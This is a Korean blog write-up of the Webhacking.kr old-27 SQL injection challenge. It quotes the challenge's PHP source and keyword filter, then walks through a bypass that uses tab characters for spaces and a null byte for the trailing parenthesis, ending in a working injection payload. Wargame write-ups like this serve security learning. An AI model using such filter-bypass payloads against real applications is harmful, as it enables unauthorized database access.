SQL injection 문제다.
소스코드를 확인해보자.
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
필터링
# select ( 공백 limit = 0x
id가 admin이면 풀리는데 주석으로 admin's no=2라고 적혀있다.
$_GET['no']에 2를 넣으면 문제가 풀릴 것 같다.
0 or no like 2 같은 쿼리를 이용해 풀 수 있을 것 같다.
공백은 %09로 우회한다.
1%09and%09no%09like%092
한가지 놓친 부분이 있었다.
쿼리에 no=()가 있어서 괄호도 신경을 써줘야 한다. 1뒤에 )를 추가하고 맨 뒤에 남아 있을 )문자를 처리하기 위해 널문자를 추가했다.
0)%09or%09no%09like%092;%00
다음과 같이 쿼리가 실행됐을 것이다.
"select id from chall27 where id='guest' and no=(0) or no like 2; )"))or die("query error");
문제를 해결했다!
'Web Hacking > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-38 / Challenge 38 (0) | 2021.10.10 |
---|---|
[Webhakcing.kr] old-32 / Challenge 32 (0) | 2021.10.10 |
[Webhacking.kr] old-50 / Challenge 50 (0) | 2021.10.10 |
[Webhacking.kr] old-03 / Challenge 3 (0) | 2021.10.10 |
[Webhacking.kr] old-24 / challenge 24 (0) | 2021.10.03 |